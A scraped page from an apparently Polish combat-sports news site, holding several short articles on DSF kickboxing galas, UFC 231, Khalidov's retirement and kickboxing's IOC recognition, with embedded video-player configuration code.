Niepokonany w ACB jest Karol Celiński. Wygrana z Maksimem Futinem była dla Polaka przepustką do walki o pas mistrzowski wagi półciężkiej. 8 grudnia Daniel Omielańczuk zapisał na swoim koncie trzecie zwycięstwo w organizacji DSF Kickboxing Challenge. Teraz czeka go zmiana płaszczyzny i walka w MMA. Były zawodnik UFC zaprezentuje się trzeci raz w organizacji ACB, z którą przygodę zaczął od wygranej z Bobbym Brentsem. Z kolei w Krasnodarze przegrał z Amirem Alim Akbarim.

Na Torwarze zaprezentuje się również znany z KSW Aslambek Saidov. Dla organizacji ACB (ACA) 34-latek stoczył sześć walk, z których pięć zakończyło się jego triumfem. Ostatnio Saidov zaprezentował się na gali w Dubaju, gdzie wygrał z Roanem Carneiro. Były mistrz KSW w wadze półśredniej wystąpi w Warszawie po blisko trzech latach. W marcu 2016 roku wypunktował Yasubeya Enomoto. Podczas ACA 92 Saidov zmierzy się z Ciro Rodriguesem.

Czekamy na nazwiska kolejnych zawodników. Organizatorzy zapowiadają, że nie zabraknie wśród nich Polaków, a 16 lutego na Torwarze odbędzie się czternaście pojedynków.

Fot. Piotr Strus Facebook

KM

Sarara mistrzem DSF!

Zmiana na tronie organizacji DSF.  W Ząbkach Tomasz Sarara znokautował Piotra Romankiewicza i sięgnął po pas mistrzowski wagi ciężkiej. Podczas gali DSF 18 odbył się mecz Polska – Białoruś, który zakończył się triumfem gości.

Walka o tron wagi ciężkiej zapowiadała się emocjonująco. Mistrz Piotr Romankiewicz pokonał dwóch rywali i udowodnił swoją wielką siłę. Tomasz Sarara nie obawiał się zawodnika z Białorusi, lecz ostrzył sobie zęby na kolejny tytuł w swoim dorobku. Mistrz agresywnie ruszył do przodu i słał w stronę Polaka kolejne ciosy. Z czasem sytuacja uspokoiła się, jednak Romankiewicz kontrolował sytuację w pierwszej rundzie. Trybuny dopingowały Sararę z całych sił, a ten musiał być czujny. W drugiej rundzie na deskach znalazł się Romankiewicz, ale był to efekt… poślizgnięcia przy wykonywaniu low kicka. Wraz z upływem czasu pewniej w ringu prezentował się Sarara, jednak cały czas groźniejsze były akcje Białorusina. Widać było, że mistrz słabnie, a Polak powoli wchodził na najwyższe obroty. W trzeciej rundzie pretendent idealnie trafił posiadacza pasa, który padł na deski i był liczony. Białorusin odpowiedział celnym kolanem. Sarara nie był dłużny – podbródkowy i kolano. Czwartą rundę z animuszem rozpoczął Romankiewicz, ale chwilę później sytuacja zmieniła się. Wysokie kopnięcie Sarary i Białorusin padł na deski. Romankiewicz nie był w stanie wstać. Tomasz Sarara zdobył pas mistrzowski.

Pierwotnie Daniel Omielańczuk miał zmierzyć się w Ząbkach z Tomaszem Czerwińskim, jednak w czwartek (6 grudnia) pojedynek został odwołany. Niedoszły rywal byłego zawodnika UFC wystąpił kilka dni wcześniej na gali w Rumunii, gdzie przegrał przez nokaut. Federacja DSF nie chciała ryzykować zdrowia Czerwińskiego i zwracała uwagę na nieodpowiedzialność zawodnika, którego chce pociągnąć do odpowiedzialności finansowej. W związku z tym wydawało się, że 36-latka zabraknie w Ząbkach, jednak ostatecznie zakontraktowano mu rywala. Naprzeciw Omielańczuka stanął Yurii Horbenko.

Polak walczył o trzecie zwycięstwo w DSF. Od pierwszych minut Omielańczuk dominował nad przeciwnikiem z Ukrainy. Horbenko nie miał zbyt wielu argumentów, aby przeciwstawić się 36-latkowi. W premierowej odsłonie Ukrainiec poczuł siłę Omielańczuka, jednak prawdziwe problemy nadeszły w drugiej odsłonie. Horbenko miał okazję dobrze poznać deski w Ząbkach. Omielańczuk słał w stronę Ukraińca kolejne ciosy, walkę zakończyło wysokie kopnięcie. Polski zawodnik odniósł pierwsze zwycięstwo w DSF przed czasem.

Międzypaństwowy mecz zakończył się zwycięstwem Białorusi, Polacy musieli uznać wyższość sąsiadów – 2:3. Efektownie zaprezentował się Mateusz Duczmal, który w drugiej rundzie pokonał Ihara Kamkoua. Swoją walkę wygrał również Łukasz Bartnik. Pokonani z ringu schodzili Dawid Mirkowski, Michał Ronkiewicz (po dogrywce) oraz Michał Królik.

W ramach części Ladies Fight Night wszystkie trzy walki zakończyły się decyzją sędziów. Iwona Nieroda pokonałą Volkę Zhurauskayę, Sylwia Kaliś lepsza od Klary Kleczkowskiej, a Barbara Nalepka od Klaudii Suszczyńskiej.

KM

LIVE: DSF Kickboxing Challenge 18

Zapraszamy na transmisję telewizyjną z gali DSF 18. Transmisja dostępna tylko dla widzów z zagranicy.

[kod]

DSF Kickboxing Challenge 18

DSF Kickboxing Challenge 18

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Kolejna szansa na wywalczenie pasa

Joanna Jędrzejczyk stoczy trzecią walkę w tym roku. 8 grudnia podczas gali UFC 231 w Toronto "JJ" zmierzy się z Walentiną Szewczenko, a na szali pojawi się pas mistrzowski w kategorii muszej.

Jędrzejczyk zapisała bogatą kartę w historii kobiecego MMA, ale po sobotnim (8 grudnia) pojedynku może ją wzbogacić. Jeśli pokona Szewczenko, będzie pierwszą zawodniczką, która sięgnie po tytuł w drugiej kategorii wagowej. Nie będzie to łatwe, ponieważ pochodząca z Kirgistanu reprezentantka Peru jest zdeterminowana by znaleźć się na szczycie. 30-letnia Szewczenko podjęła już atak na pas mistrzowski, jednak w kategorii koguciej. Lepsza okazała się Amanda Nunes.

Obie zawodniczki mają rozbudzone apetyty, a także różne doświadczenie w UFC. Dla Jędrzejczyk będzie to już dwunaste starcie w amerykańskiej organizacji, zaś Szewczenko stoczy walkę numer siedem. Zdecydowanie Polka ma większy dorobek. W marcu 2015 roku Jędrzejczyk pokonała Carlę Esparzę i zdobyła pas w wadze słomkowej. "JJ" pięciokrotnie skutecznie broniła tytułu, a straciła go na rzecz Rose Namajunas. W rewanżu lepsza była również Amerykanka. Jędrzejczyk zanotowała dwie porażki z rzędu, jednak w ostatnim pojedynku zwyciężyła z Tecią Torres. Warto dodać, że Polka po czterech latach wraca do wyższej kategorii wagowej.

Co ciekawe, Szewczenko również dwukrotnie przegrała w UFC i z tą samą rywalką – Amandą Nunes. Reprezentantka Peru ma na rozkładzie byłą mistrzynię UFC w wadze koguciej Holly Holm. Ostatnio, luty 2018, Szewczenko wygrała z Priscilą Cachoeirą.

Warto wspomnieć, że nie będzie to pierwsze spotkanie zawodniczek. Jędrzejczyk i Szewczenko doskonale znają się z czasów występów w muay thai. W latach 2006-2008 spotkały się trzykrotnie w mistrzostwach świata. Zdecydowanie lepsze wspomnienia ma Szewczenko, która wygrała wszystkie starcia na punkty.

Zdaniem bukmacherów faworytką starcia jest reprezentantka Peru. Polka zapewnia jednak, że jest gotowa podjąć wyzwanie. – Spokojna i przygotowana w 100%, aby zwyciężyć i spełnić kolejne marzenie – podkreśla „JJ:. – Zrobię to ponownie! – zapewniła w mediach społecznościowych. Nie pozostaje nic innego jak czegoś na otwarcie nowego rozdziału w karierze Jędrzejczyk.

W walce wieczoru gali UFC 231, która odbędzie się 8 grudnia zmierzą się mistrz wagi piórkowej Max Holloway i Brian Ortega.

Fot. Joanna Jędrzejczyk Facebook

KM

Kobiety, mecz i walka o pas

8 grudnia w Ząbkach odbędzie się gala DSF Kickboxing Challenge 18. W karcie walk trzy pojedynki pań, mecz Polska – Białoruś oraz dwa wielkie starcia, w tym jedno o pas mistrzowski w wadze ciężkiej pomiędzy Piotrem Romankiewiczem a Tomaszem Sararą.

Chciałoby się rzec, żeby w Ząbkach nie zabraknie niczego, co jest niezbędne do wspaniałego widowiska. Pojawią się kobiety, obecne będą sportowe emocje i pojedynki o stawkę. Słowem – uczta dla miłośników kickboxingu.

Wszyscy „ostrzą sobie zęby” na starcie wieczoru, w którym Piotr Romankiewicz po raz kolejny będzie bronił pasa DSF w kategorii ciężkiej. Tytuł postara się mu wydrzeć Tomasz Sarara. Białorusin sięgnął po pas mistrzowski na gali DSF Kickboxing Challenge 10 w Nowym Sączu, gdzie pokonał Michała Turyńskiego. Romankiewicz skutecznie bronił tytułu w starciach z Danielem Claude'm Lentie oraz Danielem Żółtaszkiem. W Ząbkach rywalem potężnego Białorusina będzie utytułowany Tomasz Sarara. 33-letni Polak ma na swoim koncie mistrzowskie tytuły federacji FEN oraz Celtic Gladiator. Warto dodać, że na Narodowej Gali Boksu pokonał Tomasa Moznego i sięgnął po mistrzostwo świata WKN. Z pewnością Sarara będzie chciał dołożyć kolejną zdobycz do swojej kolekcji. Czy Romankiewicz mu na to pozwoli?

Niezwykle interesująco zapowiada się starcie potężnych Daniela Omielańczuka i Tomasza Czerwińskiego. Były zawodnik UFC stoczył w organizacji DSF dwa pojedynki. Omielańczuk pokonał Oliego Thompsona i Nico Falina, a teraz na jego drodze stanie 43-letni Tomasz Czerwiński. Zawodnik od dawna mieszka i trenuje na Wyspach Brytyjskich. Polska publiczność zapamiętała go z występu na FEN 14, gdzie przegrał z Tyberiuszem Kowalczykiem. W Ząbkach zapowiada się grad mocnych ciosów.

W Ząbkach zaprezentuje się również mistrzyni świata low kick z 2015 roku i brązowa medalistka tegorocznego czempionatu z Bratysławy – Iwona Nieroda. Jej rywalką będzie Volha Zhurauskaya. Kolejną walkę dla organizacji DSF stoczy Klara Kleczkowska, która zmierzy się z Sylwią Kaliś.

AKTUALIZACJA 6 grudnia godz. 13.45:

Jak podała organizacja DSF Kickboxing Challenge, na gali w Ząbkach nie dojdzie do starcia Daniela Omielańczuka z Tomaszem Czerwińskim. Drugi z zawodników kilka dni temu stoczył walkę, w której poniósł porażkę przez nokaut. Ze względu na zdrowie Czerwińskiego, DSF nie chce dopuszczać kolejnego pojedynku w tak krótkim czasie. Federacji nie udało się znaleźć odpowiedniego rywala dla Omielańczuka. – Nie jesteśmy w stanie zapewnić godnego zastępstwa na kilka dni przed galą. Wielu zawodników odmówiło walki z Danielem mimo dobrej oferty finansowej – mówi Sławomir Duba, prezes federacji DSF Kickboxing Challenge. – To rażąca nieodpowiedzialność po stronie Tomasza Czerwińskiego, który w tajemnicy przed nami stoczył przegraną walkę niespełna przed tygodniem. Naraził w ten sposób na duże straty zarówno Daniela jak i federację, która poniosła koszty m.in. promocji i transportu – kończy Duba w zaprezentowanym przez DSF oświadczeniu.

Karta walk DSF 18:

K-1 52 kg Barbara Nalepka – Klaudia Suszczyńska

K-1 56 kg Sylwia Kaliś – Klara Kleczkowska

K-1 56 kg Iwona Nieroda – Volha Zhurauskaya

Mecz Polska vs Białoruś (3×3 min): K-1 65 kg Michał Królik – Artsem Vinnik, K-1 75 kg Michał Ronkiewicz – Maks Spadarenka, K-1 81 kg Dawid Mirkowski – Mikita Shostak, K-1 86 kg Łukasz Bartnik – Yauhen Miahkou, K-1 +91 kg Mateusz Duczmal – Ihar Kamkou

Walka wieczoru (o mistrzowski pas DSF): K-1 +91 kg Petr Romankevich – Tomasz Sarara

KM

DSF18: Promo

DSF 18

[kod]

DSF Promo

DSF Promo

var player = redcdnplayer("redcdnplayer").setup({
file: {
ss: "//r.dcs.redcdn.pl/ss/o2/Marklaw/DSF18/Manifest.ism/manifest",
dash: "//r.dcs.redcdn.pl/dash/o2/Marklaw/DSF18/Manifest.ism",
hls: "//r.dcs.redcdn.pl/hls/o2/Marklaw/DSF18/hls/playlist.hls/playlist.m3u8",
mp4: "//r.dcs.redcdn.pl/file/o2/Marklaw/DSF18/DSF18_Promo.mp4",
},
width: 640,
height: 385,
autoplay: false,
});

TEST

test

[kod]

DSF Kickboxing Challenge 18

DSF Kickboxing Challenge 18

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Joshua na celowniku

Tyson Fury i Deontay Wilder stworzyli świetne widowisko w Los Angeles. Zamiast myśleć o rewanżowej walce, obaj chcieliby rywalizować z mistrzem IBO, WA, IBF i WBO – Anthony'm Joshuą.

Starcie w Los Angeles zakończyło się remisem. Deontay Wilder zachował pas mistrzowski WBC, jednak to Tyson Fury zebrał więcej komplementów. Dla 30-latka była to pierwsza walka o stawkę od trzech lat. Fury przeżywał wzloty i upadki. Był na szczycie po pojedynku z Władimirem Kliczko, jednak  popadł w depresję i ujawnił swoje kłopoty z używkami. Jego powrót na ring wśród wielu rodził ciekawość, a Fury – jak zawsze – dążył do swego. Chciał walki o pas i szybko ją dostał. 30-letni Fury przeciwstawił się dysponującemu potężnym ciosem Wilderowi i ponownie jest na pierwszym planie.

Naturalne wydawało się, że pięściarze kategorii królewskiej stoczą walkę rewanżową. Fury ma jednak wątpliwości. – Mam dziwne przeczucie, że Wilder będzie unikał rewanżu. Jestem lepszy z walki na walkę i mogę pokonać wszystkich. Trzeba dać brytyjskim kibicom to, czego chcą, czyli mojego starcia z Joshuą. Dojdzie do niego – podkreśla Tyson Fury.

W stronę Joshuy zerka również Deontay Wilder. – Jesteśmy bardzo zainteresowani tą walką. Jeśli rozmowy będą prowadzone profesjonalnie, a nie przez media – to jesteśmy na dobrej drodze. Wszystko musi się zgadzać, ale sądzę, że obie strony chcą tej walki – powiedział Shelly Finkel, menadżer Wildera.

Możliwy termin starcia amerykańskiego czempiona WBC i Joshuy to 13 kwietnia na stadionie Wembley w Londynie. Pięściarz z Watfordu zamieścił ciekawy wpis w mediach społecznościowych. Joshua nazwał Wildera "głupkiem" zwracając uwagę na jego zwłokę w rozmowach na temat ewentualnego pojedynku. Przy okazji pogratulował Fury'emu dobrego występu w Los Angeles i zapewnił, że da mu szansę. Ale… – Dam ją wam obu! – napisał Joshua. 

Walka Wilder-Fury miała wyłonić kolejnego rywala dla Joshuy, jednak remis nieco skomplikował sprawę. Wiadomo, że 13 kwietnia na Wembley „AJ” wejdzie do ringu. Pytanie – z kim? Dyskusja po starciu Fury-Wilder pozwala twierdzić, że szykuje się ciekawy 2019 roku w wadze ciężkiej. Czy tak będzie?

Fot. Anthony Joshua Facebook

KM

Norman Parke nie wystąpi na gali FEN 23 w Lubinie

Norman Parke (25-6-1, 4 KO, 12 SUB) nie wystąpi podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. W ciągu kilku najbliższych dni federacja ogłosi nazwiska bohaterów walki wieczoru.

– Norman nie wystąpi na naszej najbliższej gali. Od samego początku było jasne – w grę wchodzi walka w formule MMA w kategorii wagowej do 74 kilogramów. Potem zaczęły się modyfikacje – może K-1, może K-1, ale w rękawicach do MMA, zawodnik proponował wiele rozwiązań i modyfikacji. Moje stanowisko pozostawało niezmienne – Norman podpisał kontrakt na formułę w MMA i w grę nie wchodziło nic innego. Przed tygodniem zorganizowaliśmy konferencję prasową, na której mieliśmy ogłosić jego rywala. Nie przyjechał, bo zachorował. Rozumiem, zdarza się, czekałem na drugi termin, gdy przyleci do Polski i będziemy mogli nagrać z nim materiały promocyjne przed galą. Zadzwonił do mnie kilka dni temu Norman i powiedział, że dostał zawiadomienie z sądu. Irlandczyk ma wciąż ważny kontrakt z KSW, który wyklucza jego pojedynek na terenie Polski jeszcze przez kilka miesięcy. Tak samo jak Daniel Torres ma ważny kontrakt z nami, a w Gdańsku wystąpił na gali KSW 44 i w Gliwicach na KSW 46. Wiedziałem o tym od samego początku, Norman mnie o tym informował, ale zapewniał, że to nie jest problem i że on jest zdecydowany, aby u nas walczyć. Podjął taką decyzję, ja to uszanowałem. Teraz jednak mówi, że chciałby wystąpić, ale nie w styczniu, a w kwietniu. Nie mogę w to brnąć dalej, bo do gali coraz bliżej, a moi zawodnicy muszą mieć dużo czasu na przygotowania. Nawet ci, którzy jeszcze nie są ogłoszeni, mają komfort pełnych przygotowań i tego zmieniał nie będę. Może za kilka dni otrzymam telefon, że jednak Norman chce walczyć. Ja sobie nie mogę na to pozwolić, to nie wystawia w dobrym świetle naszej federacji. Mamy w planach rozwój na wielu płaszczyznach, a przez takie zachowania nie jest to możliwe.

Podsumowując: Norman nie wystąpi na FEN 23, nie wykluczamy natomiast jego występu u nas w przyszłości. W ciągu kilku dni ogłosimy bohaterów walki wieczoru gali w Lubinie. Jej stawką będzie pas mistrzowski federacji – powiedział prezes FEN, Paweł Jóźwiak.

Karta walk FEN 23: 

TBA VS TBA
-120 kg: Marcin Zontek VS Marcin Sianos
-77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
-77 kg: Tymoteusz Łopaczyk VS Szymon Dusza
-77 kg, K-1: Wojciech Wierzbicki VS TBA
-67 kg, K-1: Eliasz Jankowski VS Rafał Niestrzęba
-70 kg: Łukasz Charzewski VS TBA
-70 kg, K-1: Kacper Muszyński VS Łukasz Kaczmarczyk
-61 kg, K-1: Bartosz Hassa VS Mariusz Lach

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Dołącz do wydarzenia na portalu Facebook: https://www.facebook.com/events/311910869605165/

Pewna epoka dobiegła końca

Przez lata Mamed Khalidov był symbolem KSW i MMA w Polsce. Po porażce z Tomaszem Narkunem, 38-latek podjął decyzję o zakończeniu kariery. Zamknęła się pewna epoka w polskim MMA.

Na polskim podwórku Khalidov to symbol MMA. Przez lata cieszył się sympatią kibiców i był pierwszoplanową postacią KSW. Wystarczy wspomnieć, że Khalidov na swoim koncie zapisał pasy mistrzowskie w wadze półciężkiej oraz w wadze średniej, który zwakował w lipcu br.

Organizacja KSW, konsekwentnie budowana i rozwijana przez Martina Lewandowskiego i Macieja Kawulskiego, i Khalidov przez lata tworzyli związek idealny. Żyli niemalże w symbiozie. KSW zyskiwało na popularności, a Khalidov rozbudzał wyobraźnię widzów. Nie da się ukryć, że zawodnik miał wymierny wpływ na popularyzację organizacji i dyscypliny w wymiarze masowym. Oczywisty jest również udział Mariusza Pudzianowskiego w tym względzie, jednak w kwestii umiejętności nie mógł zagrozić pochodzącemu z Groznego wojownikowi. Dla Khalidova ludzie przychodzili do hal i włączali telewizory. 

Mamed potrafił efektownie "udusić" Matta Lindlanda czy też Melvina Manhoefa oraz dźwignią na staw skokowy poddać niewygodnego Kendalla Grove'a. Kolejni rywale nie potrafili znaleźć sposobu na Khalidova. Zawodnik imponował w oktagonie, ale także poza nim. Był spokojny, wyważony, a także konsekwentny. Nie pasował do grona tych, którzy budują gorącą atmosferę i tworzą show przed walką. On robił widowisko podczas gali.

Co istotne, Khalidov stał się swego rodzaju kapitałem KSW i zarazem polskiego MMA. Dla wielu kibiców, miłośników sportów walki był idolem, dzięki któremu odkrywali tajniki mieszanych sztuk walk. Czas nie zmienił Khalidova, jednak czasy się zmieniły, a co za tym idzie potrzeby KSW. Do organizacji KSW trafiali coraz to nowi zawodnicy, którzy mieli przyciągać widzów i budować atrakcyjności produktu w postaci kolejnych gal. 

Mamed Khalidov nigdy nie stał się postacią drugiego planu. Najlepiej świadczy o tym efektowne i błyskawiczne zwycięstwo w starciu z Michałem Materlą. Jednak kolejna walka z Azizem Karaoglu nie spotkała się z ciepłym odbiorem widzów. Na Stadionie Narodowym pokonał w superfighcie Borysa Mańkowskiego, jednak kolejne dwa pojedynki z Tomaszem Narkunem zakończyły się porażkami 38-latka. Wielki mistrz przegrał, musiał ustąpić miejsca nowej gwieździe KSW. 

Kiedyś mówiło się o drodze Khalidova do UFC. Tak się jednak nie stało, Mamed nigdy nie zawalczył w amerykańskiej organizacji. Wolał panować w KSW i realizować się tu, gdzie czuje się dobrze. Jednak przyszedł czas. „Trzeba ze sceny zejść”. Zakończyła się epoka Mameda Khalidova w MMA, jego osiągnięcia są niepodważalne. Źycie toczy się dalej, potencjalny następca mistrza objawił się w Gliwicach? 

KM

DSF 18: Romankevich-Sarara, Daniel Omielańczuk, mecz K-1 Polska-Białoruś i LFN

Już za 8 dni federacja DSF Kickboxing Challenge rozpocznie współpracę z nowym partnerem telewizyjnym. Galę DSF 18: Romankevich-Sarara z walką o mistrzowski pas wagi ciężkiej, występem Daniela Omielańczuka, meczem K-1 Polska-Białoruś oraz trzema starciami kobiet w ramach projektu Ladies Fight Night, 8 grudnia będą mogli zobaczyć wszyscy kibice sportów walki w Polsce. Transmisja w TVP Sport rozpocznie się o godzinie 19:50, ale już od 18:30 można śledzić zmagania na sport.tvp.pl.

Karta walk DSF Kickboxing Challenge 18 oraz LFN: New Beginning:

Walki kobiet LFN (3 x 3 min):
K-1 52 kg Barbara „Shogun” Nalepka vs Klaudia „Pitbull” Suszczyńska
K-1 56 kg Sylwia Kaliś vs Klara Kleczkowska
K-1 56 kg Iwona „Diament” Nieroda vs Volha Zhurauskaya

Mecz PolskaBiałoruś (3 x 3 min):
K-1 65 kg Michał „Matrix” Królik vs Artsem Vinnik
K-1 75 kg Michał Ronkiewicz vs Maks Spadarenka
K-1 81 kg Dawid „Mirko” Mirkowski vs Mikita Shostak
K-1 86 kg Łukasz „Kudłaty” Bartnik vs Yauhen Miahkou
K-1 +91 kg Mateusz Duczmal vs Ihar Kamkou

Druga walka wieczoru (3 x 3 min):
K-1 +91 kg Daniel Omielańczuk vs Tomasz „Big T” Czerwiński

Walka wieczoru (5 x 3 min o mistrzowski pas DSF):
K-1 +91 kg Petr Romankevich vs Tomasz Sarara

Gala DSF Kickboxing Challenge 18 w Ząbkach odbędzie się 8 grudnia o godzinie 19:50. Transmisja na żywo po raz pierwszy w TVP Sport, sport.tvp.pl i w aplikacji mobilnej TVP Sport. Mini-galę Ladies Fight Night: New Beginning będzie można obejrzeć za darmo na Facebooku federacji oraz na sport.tvp.pl. Wydarzenia związane z imprezami można śledzić na bieżąco na stronie na Facebooku >>>

Kickboxing uznany przez MKOL!

Międzynarodowy Komitet Olimpijski uznał kickboxing jako dyscyplinę sportową. – To fantastyczna wiadomość! Po latach starań zostaliśmy włączeni w poczet dyscyplin sportowych przez MKOL! Teraz będziemy dążyć do tego, aby znaleźć się w programie Igrzysk Olimpijskich – mówi Piotr Siegoczyński, prezes Polskiego Związku Olimpijskiego.

Historia dzieje się na naszych oczach. Popularność kickboxingu sprawiła, że Międzynarodowy Komitet Olimpijski podjął przełomową decyzję dla dyscypliny. –  30 listopada 2018 roku pozostanie w naszej sportowej historii jednym z kamieni milowych, ponieważ kickboxing został tymczasowo uznany przez Zarząd MKOl – czytamy w komunikacie Międzynarodowej Organizacji WAKO.

Warto dodać, że wniosek w tej sprawie został złożony w 2016 roku. – Był to długi, ale satysfakcjonujący proces. WAKO doświadczyło ogromnego rozwoju w ciągu ostatnich lat i naprawdę czujemy, że zasługujemy na takie uznanie – powiedziała Fransesca Falsoni, wiceprzewodnicząca WAKO.

Zadowolenia nie kryje również wybitny polski kickbokser, a obecnie prezes Polskiego Związku Kickboxingu – Piotr Siegoczyński. – Nie da się ukryć, że to święto dla całego środowiska kickboxingu. Wyjątkowy dzień – podkreśla. – Od lat odbywają się imprezy rangi mistrzostw świata i Europy. Kickboxing to sport, który stale zyskuje na popularności i cieszy się zainteresowaniem. Ostatni czas i aktywność działaczy doprowadziła do przełomowej decyzji MKOL, który uznał nas za dyscyplinę sportową – przedstawia Siegoczyński.

Kickboxing rozpoczyna nowy rozdział w historii. Teraz wszyscy czekają, kiedy dyscyplina zostanie włączona do programu Igrzysk Olimpijskich. – Na to trzeba jeszcze poczekać. Decyzja podjęta przez MKOL wydaje się naturalna, ponieważ kickboxing jest na ścieżce wznoszącej. Ponadto, dyscyplina cieszy się uznaniem kibiców, czego potwierdzeniem były Igrzyska Sportów Nieolimpijskich – World Games. We Wrocławiu byliśmy dyscypliną pokazową, a teraz zyskaliśmy już status dyscypliny pełnoprawnej. Po kolejnej imprezie przyjdzie czas na oceny i wnioski, które mogą sprawić, że kickboxing zbliży się do Igrzysk Olimpijskich – podkreśla prezes PZKb.

Polska jest potęgą w kickboxingu. W 1985 roku pierwszym polskim mistrzem świata został Piotr Siegoczyński. Mamy wiele wybitnych postaci. Wystarczy wymienić tylko Iwonę Guzowską, Agnieszkę Rylik, Marka Piotrowskiego czy Przemysława Saletę. Z mistrzowskich imprez przywozimy medale. Wierzymy, że z czasem nasi będą stawać na olimpijskim podium. Jednak w obecnej sytuacji decyzja MKOL ma istotne znaczenie dla polskiego związku. – Mieliśmy zagrożony status związku, ale decyzja MKOL niweluje ten problem. Cieszymy się, bo dzieją się wielkie rzeczy dla kickboxingu! – epatuje radością Piotr Siegoczyński.

Fot. Polski Związek Kickboxingu Facebook

KM

Kołecki żegna się z Babilon MMA

Szymon Kołecki poinformował o zakończeniu przygody z federacją Babilon MMA, dla której stoczył cztery pojedynki.

Jako sztangista osiągnął niemalże wszystko. Kołecki stawał na podium Igrzysk Olimpijskich, mistrzostw świata oraz mistrzostw Europy. W 2017 roku został mistrzem olimpijskim z… Pekinu, choć impreza odbyła się dziewięć lat wcześniej. Zwycięzca Ilja Iljin został przyłapany na stosowaniu dopingu. W październiku 2012 roku Szymon Kołecki podjął decyzję o zakończeniu kariery z powodu kontuzji kolana. 

Ostatecznie jednak wrócił do sportu. Kołecki zdecydował się rywalizować w MMA. Pierwszą walkę stoczył w marcu 2017 roku podczas gali PLMMA 72 i szybko odprawił Dariusza Kazimierczuka. Z czasem trafił do organizacji Babilon MMA. Trzy walki wygrał przed czasem, jednak w ostatnim występie (sierpień 2018) zanotował porażkę. Lepszy od Kołeckiego okazał się Michał Bobrowski.

36-latek podjął decyzję o rozstaniu z Babilon MMA. – Przynajmniej na jakiś czas kończy się moja przygoda z federacją Babilon MMA. Okres prawie półtorarocznej współpracy zapisał się w mojej pamięci jako wspaniały czas, w którym mogłem pracować nad swoim rozwojem sportowym, jako czas, w którym czułem się częścią dynamicznie rozwijającego się projektu, jakim jest Babilon MMA, jako czas, w którym byłem dla federacji topowym zawodnikiem, co miałem okazję często odczuwać – poinformował Szymon Kołecki za pośrednictwem Facebooka.

Zawodnik zaznaczył również, ile dała mu ta przygoda. – Dzięki ciężkiej pracy, zaangażowaniu i opiece Tomasza Babilońskiego miałem okazję stoczyć 5 świetnych pojedynków, które są dla mnie bezcenne. Za ten okres, za tą wzorową współpracę, za to wszystko, co mnie spotkało w Babilon MMA chcę Tomkowi serdecznie podziękować, życzyć mu dalszych sukcesów i obiecać, że zawsze w każdej możliwej sytuacji Babilon MMA może liczyć na moje wsparcie w ramach moich możliwości – napisał Kołecki.

Fot. Szymon Kołecki Facebook

KM

Daniel Omielańczuk zapowiada nokaut na DSF 18!

8 grudnia na gali DSF Kickboxing Challenge 18 w Ząbkach trzecią walkę dla federacji stoczy Daniel Omielańczuk. Popularny zawodnik K-1 i MMA wagi ciężkiej po raz pierwszy w DSF zmierzy się z rywalem, który góruje nad nim warunkami fizycznymi. Przeciwnikiem będzie ogromny Tomasz Czerwiński.

Wywodzący się z muay thai Omielańczuk w zawodowym kickboxingu stoczył dotychczas 18 walk. Jego bilans to 16 zwycięstw i dwie porażki. W ostatnich dwóch występach na DSF Kickboxing Challenge odprawiał kolejno Olego Thompsona (Wielka Brytania) i Nico Falina (Niemcy).

– Mimo że walczę już tyle lat, nadal jara mnie ten sport. Nadal chcę się bić – mówi 36-letni zawodnik Berktut WCA Fight Team. – Przeciwnik jest bardzo silny. Sprawdzę jego odporność i kondycję. Myślę, że wszystko będzie po mojej stronie. Wiem, że będzie chciał mi urwać głowę w pierwszej minucie, ale przetrzymam to i ja mu urwę głowę. Ten pojedynek nie potrwa pełnego wymiaru czasowego, zakończy się bardzo szybko. Będzie mocne KO! –kończy.

Choć Omielańczuk zamierza dalej łączyć występy w K-1 i MMA, kolejne zwycięstwo w ringu może znacznie przybliżyć go do walki o pas DSF Kickboxing Challenge. Obecnie trofeum należy do Petra Romankevicha (Patriot Gym), który w pojedynku wieczoru na gali DSF 18 zmierzy się ze znakomitym z byłym czempionem FEN i Celtic Gladiator oraz zawodowym mistrzem świata WKN – Tomaszem Sararą.

– To już trzecia walka Daniela w federacji DSF. Jeśli zda najtrudniejszy test, droga na szczyt królewskiej kategorii stanie przed nim otworem – stwierdza prezes DSF Kickboxing Challenge Sławomir Duba. – Czerwiński to potężny, nieustępliwy zawodnik. Szanse oceniam 50-50, sam nie wiem, jak to się zakończy.

Gala DSF Kickboxing Challenge 18 w Ząbkach odbędzie się 8 grudnia o godzinie 19:50. Transmisja na żywo po raz pierwszy w TVP Sport, sport.tvp.pl i w aplikacji mobilnej TVP Sport. Wydarzenia związane z imprezą można śledzić na bieżąco na stronie na Facebooku >>>

Czy Khalidov zatrzyma Narkuna?

Blisko dziewięć miesięcy kibice musieli czekać na rewanżowe starcie Mameda Khalidova i Tomasza Narkuna. W Łodzi popularny "Żyrafa" zmusił rywala do odklepania. Czy 1 grudnia podczas KSW 46 w Gliwicach Khalidov znajdzie sposób na Narkuna?

